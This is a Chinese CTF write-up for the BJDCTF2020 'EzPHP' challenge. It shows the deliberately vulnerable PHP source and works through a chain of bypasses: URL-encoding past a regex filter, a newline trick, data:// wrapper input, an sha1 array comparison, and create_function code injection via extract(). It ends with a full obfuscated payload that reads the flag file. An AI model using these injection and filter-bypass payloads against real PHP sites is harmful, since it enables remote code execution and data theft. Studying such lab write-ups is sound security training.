[BJDCTF2020]EzPHP
这道题真的不错哎😔，复现一下
打开题目后查看源码发现起那面有一段密文，base32解密后为一个文件名1nD3x.php，访问该文件：（看到大段的就像shi~~）
源码如下：
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
okok解释一下吧
1
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
QUERY_STRING就是问号后面的数据
也就是说问号后面的数据不能出现正则匹配里的字符
由于$_SERVER['QUERY_STRING']不可以进行urldecode，而$_GET[]可以，因此可以用url全编码绕过正则
2
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
/^aqua_is_cute$/开头结尾都是aqua_is_cute
就是说传入debu的字符不能等于aqua_is_cute而且还要满足正则表达式，（使用换行%0a来绕过正则匹配）
debu=aqua_is_cute%0a
3
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
涉及到一个小tirck：
$_REQUEST在同时接受POST和GET参数时，POST优先级高
4
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
也就是file传入的参数等于debu_debu_aqua，这里要绕过file_get_contents函数使用data伪协议file=data://text/plain,debu_debu_aqua
5
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);//注意到这里，后面会用到
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
这个就是使用数组绕过就行
shana[]=1&passwd[]=2
到这里就还剩最后一关，整理一下上面的
debu=aqua_is_cute%0a
file=data://text/plain,debu_debu_aqua
shana[]=1&passwd[]=2
针对于$_REQUEST在同时接受POST和GET参数时，POST优先级高，只需再传入一个POST的debu和file值为数字即可。
1nD3x.php?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2
在进行url全编码可得
1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2
POSTfile=1&debu=2
6
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}
可控的有code和arg，在$code('', $arg)可以使用creat_function进行注入
上面出现的extract($_GET["flag"]);在这里发挥了作用
extract()函数用于从数组中将变量导入到当前的符号表。换句话说，它会创建新的变量，这些变量的名称和值来自于你传递给 extract() 的数组。
因此，extract($_GET[“flag”]); 这行代码的意图是从 URL 参数中获取名为 “flag” 的值，并尝试使用这个值作为变量名来创建一个新的变量，同时这个新变量的值也将是 “flag” 参数的值。
例如，如果 URL 是 http://example.com/?flag=testValue，那么执行这行代码后，将会有一个名为 $testValue 的新变量，其值为 “testValue”。
这就好理解了，现在传入flag[code]，flag[arg]。也就是存在了GET传入的code和arg参数。
在基于要配合create_function进行注入：
flag[code]=create_function
这时就是
create_function('', $arg);
尝试传入arg的值让代码进行闭合
flag[arg]=}代码；//
这里}就闭合了create_function函数也注释了后面的内容
然后构造flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
var_dump(get_defined_vars())：打印出当前作用域内所有已定义变量的名称、类型和值。
再进行全编码后可得
1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}%76%61%72%5f%64%75%6d%70(%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73());//
使用require读取flag文件
require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)
替换var_dump(get_defined_vars())由于要进行无参传入，这里使用~绕过正则
require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))
最后的payload
1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//
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